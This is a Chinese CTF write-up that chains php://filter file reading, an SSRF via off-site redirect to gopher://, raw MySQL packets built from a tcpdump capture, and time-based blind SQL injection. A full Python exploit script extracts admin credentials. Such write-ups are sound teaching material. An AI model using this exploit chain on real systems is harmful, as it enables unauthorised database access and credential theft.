- 進(jìn)去之后隨便輸賬號(hào)密碼登陸, 發(fā)現(xiàn)是個(gè)send.php在url后綴中,疑似文件包含,嘗試用phpfilter發(fā)現(xiàn)可以任意讀取,把源碼down下來(lái)之后發(fā)現(xiàn)是個(gè)利用gopher的ssrf,題目已經(jīng)提示得很明顯了,利用站外location跳轉(zhuǎn)到gopher協(xié)議下進(jìn)行內(nèi)網(wǎng)操作, 然后還能讀到一個(gè)sql文件個(gè)conn.php,并且數(shù)據(jù)庫(kù)無(wú)密碼.那么應(yīng)該是操作數(shù)據(jù)庫(kù)了, 但是這里有兩個(gè)問(wèn)題,1:不知道數(shù)據(jù)庫(kù)的端口 2:curl沒有回顯
首先第一個(gè)問(wèn)題我們直接去讀取/proc/net/tcp看看本機(jī)的監(jiān)聽端口,發(fā)現(xiàn)一個(gè)80和一個(gè)1111,那毫無(wú)疑問(wèn)1111就是mysql的端口了(端口以hex展示)
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 62508910 1 0000000000000000 100 0 0 10 0
1: 00000000:0457 00000000:0000 0A 00000000:00000000 00:00000000 00000000 999 0 62513855 1 0000000000000000 100 0 0 10 0
2: 040011AC:0050 09000A0A:ACAA 01 00000000:00000000 00:00000000 00000000 33 0 62524723 1 0000000000000000 20 4 32 10 -1
- 在說(shuō)操作mysql之前我們先構(gòu)造好gopher協(xié)議下的mysql數(shù)據(jù)包,這里我用的是tcpdump監(jiān)聽本地3306端口后再用wireshark提取出需要的數(shù)據(jù)包
前置知識(shí): tcp/ip方式連接mysql的過(guò)程(強(qiáng)行只說(shuō)4.0以后的協(xié)議)
(圖片來(lái)自https://segmentfault.com/a/1190000012166738)image
所以我們需要3個(gè)包,一個(gè)是發(fā)送認(rèn)證請(qǐng)求的包、一個(gè)發(fā)送我們query的包、一個(gè)quit包
這里還涉及到一個(gè)小知識(shí)是mysql的用戶認(rèn)證是采用了挑戰(zhàn)應(yīng)答的方式,由服務(wù)器生成一個(gè)挑戰(zhàn)數(shù)發(fā)送給用戶之后用戶用挑戰(zhàn)數(shù)加密密碼返回給服務(wù)器,服務(wù)器檢查結(jié)果是否與預(yù)期相同, 這里需要無(wú)授權(quán)mysql用戶的原因就是如果密碼為空的話挑戰(zhàn)加密結(jié)果就是空, 這樣的話認(rèn)證數(shù)據(jù)包就能每次相同了
query包則相對(duì)結(jié)構(gòu)簡(jiǎn)單,quit包格式固定 - 首先
tcpdump -i lo0 -w mysql.pcap port 3306-i網(wǎng)卡 -w導(dǎo)出到文件 然后本地馬上TCP/IP方式連接數(shù)據(jù)庫(kù)進(jìn)行select操作, 最后exit
11ea80a7-1e91-436c-a74d-cec9c0fff6db.png
將需要的請(qǐng)求包的原始數(shù)據(jù)(hex)拿下來(lái)之后轉(zhuǎn)換成urlencoded的格式利用gopher協(xié)議訪問(wèn) 類似于這樣:

c229b719-80e1-4a82-9217-ab264e40be9b.png
返回到了我們期望的0
然后我們解決沒有回顯的問(wèn)題:
方法一:采用帶外攻擊嘗試?yán)胐ns查詢帶出去,推薦ceye.io (此方法不可用 經(jīng)Gaia大佬的提醒 因?yàn)橹挥衱indows才有unc路徑Orz..)
方法二:采用dumpfile的方式寫文件到tmp目錄后讀取 (后來(lái)發(fā)現(xiàn)此mysql用戶沒有寫權(quán)限)
方法三:最蠢的方法, 直接利用時(shí)間盲注 (最后用了這個(gè)方法)然后最后一點(diǎn)需要注意的是在盲注的過(guò)程中數(shù)據(jù)包的長(zhǎng)度會(huì)變化,要更改數(shù)據(jù)包包頭長(zhǎng)度
腳本:
import requests
import time
import os
url = 'http://70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com/index.php?page=send.php'
headers = {
'Host': '70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:48.0) Gecko/20100101 Firefox/48.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://70341201160745d19d1b8a9141e72eb87f773104453749c8.game.ichunqiu.com/index.php?page=send.php',
'Cookie': 'Hm_lvt_1a32f7c660491887db0960e9c314b022=1503915500; Hm_lvt_9104989ce242a8e03049eaceca950328=1499841280,1499841321,1500792273; pgv_pvi=2458169344; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1509698028,1511583430,1511759905; UM_distinctid=1621015174e3f-07d3d76d358413-485860-384000-1621015174f3eb; PHPSESSID=p2aqa6ls1v5pvrlvt40599ino4',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
}
remote = 1
se = requests.Session()
raw_conn = 'a400000105a6ff0100000001210000000000000000000000000000000000000000000000446f6700006d7973716c5f6e61746976655f70617373776f72640068035f6f73086f737831302e31330c5f636c69656e745f6e616d65086c69626d7973716c045f70696404353133300f5f636c69656e745f76657273696f6e06352e372e3231095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c'
# raw_select_db = '120000000353454c45435420444154414241534528290b00000002757365725f61646d696e'
raw_blind_query = '%s0000000373656c65637420696628617363696928737562737472282873656c6563742067726f75705f636f6e63617428757365726e616d652c70617373776f7264292066726f6d20757365725f61646d696e2e61646d696e292c%s2c3129293d%s2c736c6565702835292c3029'
raw_end_conn = '0100000001'
content = 'adminfla'
for x in xrange(8,100):
for y in xrange(33,126):
packet_length = 107
if x >= 10 :
packet_length += 1
if x >= 100:
packet_length += 1
if y >= 100 :
packet_length += 1
b = []
raw_code = (raw_conn + raw_blind_query + raw_end_conn) % (hex(packet_length)[2:], str(x).encode('hex'), str(y).encode('hex'))
# print raw_code
# exit()
l = len(raw_code)
for z in xrange(l):
if z % 2 == 0:
b.append(raw_code[z:z+2])
urlencoded = '%' + '%'.join(b)
# payload = 'gopher://127.0.0.1:1111/_' + urlencoded
if remote == 0:
payload = 'gopher://127.0.0.1:3306/_' + urlencoded
s = time.time()
os.system('curl ' + payload)
# print payload
# exit()
if time.time() - s >= 5:
print 'found! ' + chr(y)
break
else:
print y
elif remote == 1:
payload = 'gopher://127.0.0.1:1111/_' + urlencoded
with open('index.php','wb') as f:
f.write('<?php\nheader(\'Location:' + payload + '\');\n')
try:
s = time.time()
res = se.post(url, headers=headers, data={'url':'http://xxx.xxx.xxx.xxx'})
# print res.status_code
time.sleep(0.1);
if time.time() - s >= 5.1 and res.status_code == 200:
content += chr(y)
print 'Found!! ' + chr(y)
print content
break
else:
print y
except Exception as e:
pass
poc:

f9945682-7cb0-4d63-be77-11febd8983f7.png
flag在admin表內(nèi)
參考文章:
http://www.freebuf.com/articles/web/159342.html
https://segmentfault.com/a/1190000012166738
